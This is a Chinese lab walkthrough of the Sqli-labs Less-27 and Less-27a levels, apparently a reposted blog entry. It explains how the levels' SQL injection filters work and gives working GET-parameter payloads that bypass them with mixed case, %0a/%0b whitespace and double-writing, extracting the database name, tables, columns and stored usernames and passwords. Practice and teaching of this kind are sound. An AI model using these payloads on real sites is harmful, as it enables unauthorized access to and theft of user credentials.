Sqli-labs之Less-27和Less-27a

                                                 Less-27

基于错误_GET_过滤UNION/SELECT_单引号_字符型注入

Sqli-labs之Less-27和Less-27a_第1张图片

测试注入字符类型:

Sqli-labs之Less-27和Less-27a_第2张图片

?id=2'%26%26 '1'='1     (id=2的用户说明带括号,id=1的用户说明带括号)

Sqli-labs之Less-27和Less-27a_第3张图片

由此得出,这是单引号字符型注入。(不带小括号的

根据提示我们知道了,过滤了union和select,至于其他的还不清楚,要是一个一个试,太麻烦了,直接看源码文件:

Sqli-labs之Less-27和Less-27a_第4张图片

发现没有过滤orand,过滤了几个大小写的unionselect但是可以用随机大小写绕过,过滤了--#以及/**/,过滤了两次空格,过滤了/但没过滤\
所以实际上只过滤了注释空格,与 Less 26 相似。

这一关卡中涉及到了正则表达式中的模式修饰符

PHP正则表达式的模式修饰符(官方文档)

或者:


如果设定此修正符,模式中的字符将同时匹配大小写字母。


当设定了此修正符,“行起始”和“行结束”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。


如果设定了此修正符,模式中的圆点元字符(.)匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。


如果设定了此修正符,模式中的空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的 #以及下一个换行符之间的所有字符,包括两头,也都被忽略。


如果设定了此修正符,preg_replace() 在替换字符串中对逆向引用作正常的替换,

?在 . + 和 * 之后 表示非贪婪匹配: *、+和?限定符都是贪婪的,因为它们会尽可能多的匹配文字,只有在它们的后面加上一个?就可以实现非贪婪或最小匹配。

综上直接大小写混合绕过即可:

注入方法类似于less-26,这里介绍union联合注入,其他方法自行尝试:

这关可以用%a0代替空格,但这里多了一种用/*%0a*/强行制造空格。
原理暂不清楚,但 Less 26 无法使用,也无法使用%0a 但有的人可以,可能跟环境的配置有关。

暴库

?id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,database(),2/*%0a*/||/*%0a*/'1'='1

Sqli-labs之Less-27和Less-27a_第5张图片

爆表:

?id=0'%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'),3||'1

Sqli-labs之Less-27和Less-27a_第6张图片

爆字段:

?id=0'%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b'1'='1

Sqli-labs之Less-27和Less-27a_第7张图片

爆数据:

?id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,(SeLeCt/*%0a*/group_concat(concat_ws('$',id,username,password))/*%0a*/from/*%0a*/users),3/*%0a*/||/*%0a*/'1'='1

Sqli-labs之Less-27和Less-27a_第8张图片

提示::uniunionon 也是可以突破限制的。也就是说可以双写绕过。亦可以利用报错注入和延时注入的语法进行注入。

 

 

=============== 分隔符==================

                                                     Less-27a

基于盲注_GET_过滤UNION/SELECT_双引号_字符型

Sqli-labs之Less-27和Less-27a_第9张图片

这一关没什么好说的,直接看源码:

Sqli-labs之Less-27和Less-27a_第10张图片

得出以下结论:

1.双引号字符型注入

2.没有错误回显,不能进行报错注入,即无法使用updatexml函数等,但可以进行布尔盲注,因为他有无错误回显,即正确和错误页面返回的页面不同。

3.可以使用union联合注入,延时盲注。

这里演示一下联合注入,其他自行尝试:

?id=0"%0buniOn%0bsElEct%0b1,database(),3%0bor%0b"1"="1  

Sqli-labs之Less-27和Less-27a_第11张图片

。。。

完。

你可能感兴趣的:(Sqli-labs之Less-27和Less-27a)